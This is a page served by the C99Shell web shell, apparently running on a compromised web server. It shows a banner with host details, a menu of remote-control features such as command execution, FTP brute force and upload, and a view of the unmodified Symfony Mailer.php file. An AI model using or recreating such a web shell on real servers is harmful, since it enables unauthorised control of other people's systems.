!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/symfony/mailer/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Mailer.php (2.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Mailer;

use 
Psr\EventDispatcher\EventDispatcherInterface;
use 
Symfony\Component\Mailer\Event\MessageEvent;
use 
Symfony\Component\Mailer\Exception\TransportExceptionInterface;
use 
Symfony\Component\Mailer\Messenger\SendEmailMessage;
use 
Symfony\Component\Mailer\Transport\TransportInterface;
use 
Symfony\Component\Messenger\Exception\HandlerFailedException;
use 
Symfony\Component\Messenger\MessageBusInterface;
use 
Symfony\Component\Mime\RawMessage;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 */
final class Mailer implements MailerInterface
{
    public function 
__construct(
        private 
TransportInterface $transport,
        private ?
MessageBusInterface $bus null,
        private ?
EventDispatcherInterface $dispatcher null,
    ) {
    }

    public function 
send(RawMessage $message, ?Envelope $envelope null): void
    
{
        if (
null === $this->bus) {
            
$this->transport->send($message$envelope);

            return;
        }

        
$stamps = [];
        if (
null !== $this->dispatcher) {
            
// The dispatched event here has `queued` set to `true`; the goal is NOT to render the message, but to let
            // listeners do something before a message is sent to the queue.
            // We are using a cloned message as we still want to dispatch the **original** message, not the one modified by listeners.
            // That's because the listeners will run again when the email is sent via Messenger by the transport (see `AbstractTransport`).
            // Listeners should act depending on the `$queued` argument of the `MessageEvent` instance.
            
$clonedMessage = clone $message;
            
$clonedEnvelope null !== $envelope ? clone $envelope Envelope::create($clonedMessage);
            
$event = new MessageEvent($clonedMessage$clonedEnvelope, (string) $this->transporttrue);
            
$this->dispatcher->dispatch($event);
            
$stamps $event->getStamps();

            if (
$event->isRejected()) {
                return;
            }
        }

        try {
            
$this->bus->dispatch(new SendEmailMessage($message$envelope), $stamps);
        } catch (
HandlerFailedException $e) {
            foreach (
$e->getWrappedExceptions() as $nested) {
                if (
$nested instanceof TransportExceptionInterface) {
                    throw 
$nested;
                }
            }
            throw 
$e;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--